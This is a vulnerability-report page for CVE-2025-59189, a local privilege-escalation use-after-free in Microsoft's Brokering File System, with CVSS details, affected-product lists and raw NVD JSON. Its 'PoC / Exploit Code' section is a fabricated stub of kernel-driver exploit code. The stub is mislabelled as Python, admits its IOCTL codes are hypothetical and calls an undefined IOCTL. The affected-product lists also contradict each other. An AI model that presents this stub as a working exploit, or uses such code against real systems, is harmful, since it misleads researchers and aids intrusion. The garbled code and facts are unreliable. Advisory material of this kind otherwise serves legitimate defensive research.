Security Vulnerability Report
中文
CVE-2025-59189 CVSS 7.4 HIGH

CVE-2025-59189

Published: 2025-10-14 17:15:58
Last Modified: 2025-11-05 21:07:20

Description

Use after free in Microsoft Brokering File System allows an unauthorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 版本1809至22H2(32位和64位)
Windows 11 版本21H2至24H2(ARM64和x64)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59189 - Microsoft Brokering File System Use-After-Free PoC (Conceptual) // WARNING: This is a conceptual PoC for educational and research purposes only. // Exploiting this vulnerability without authorization is illegal. #include <windows.h> #include <winioctl.h> #include <stdio.h> #include <stdlib.h> // Brokering File System device name #define BFS_DEVICE_PATH "\\\\.\\BrokeringFileSystem" // Hypothetical IOCTL codes for Brokering File System operations // Note: Actual IOCTL codes would need to be reverse-engineered from bfs.sys #define IOCTL_BFS_OPEN_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_BFS_READ_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_BFS_CLOSE_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_BFS_QUERY_INFO CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _BFS_REQUEST { ULONG RequestId; ULONG OperationType; ULONG Flags; ULONG DataSize; PVOID DataBuffer; ULONG Reserved[4]; } BFS_REQUEST, *PBFS_REQUEST; // Step 1: Open handle to Brokering File System driver HANDLE OpenBfsDevice() { HANDLE hDevice = CreateFileA( BFS_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open BFS device. Error: %lu\n", GetLastError()); return INVALID_HANDLE_VALUE; } printf("[+] BFS device opened successfully. Handle: %p\n", hDevice); return hDevice; } // Step 2: Trigger the UAF condition via race condition BOOL TriggerUAF(HANDLE hDevice) { BFS_REQUEST request = { 0 }; request.RequestId = 1; request.OperationType = 0x01; // Hypothetical operation request.Flags = 0x02; // Flag that triggers the vulnerable code path request.DataSize = sizeof(BFS_REQUEST); request.DataBuffer = (PVOID)0x4141414141414141; DWORD bytesReturned = 0; BOOL result = DeviceIoControl( hDevice, IOCTL_BFS_QUERY_FILE, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL ); printf("[*] Triggered UAF condition. Result: %d, Error: %lu\n", result, GetLastError()); return result; } int main() { printf("[*] CVE-2025-59189 PoC - Microsoft Brokering File System UAF\n"); printf("[*] For authorized security testing only.\n\n"); HANDLE hDevice = OpenBfsDevice(); if (hDevice == INVALID_HANDLE_VALUE) { return 1; } // Trigger the vulnerability TriggerUAF(hDevice); CloseHandle(hDevice); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59189", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:57.523", "lastModified": "2025-11-05T21:07:20.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Brokering File System allows an unauthorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59189", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}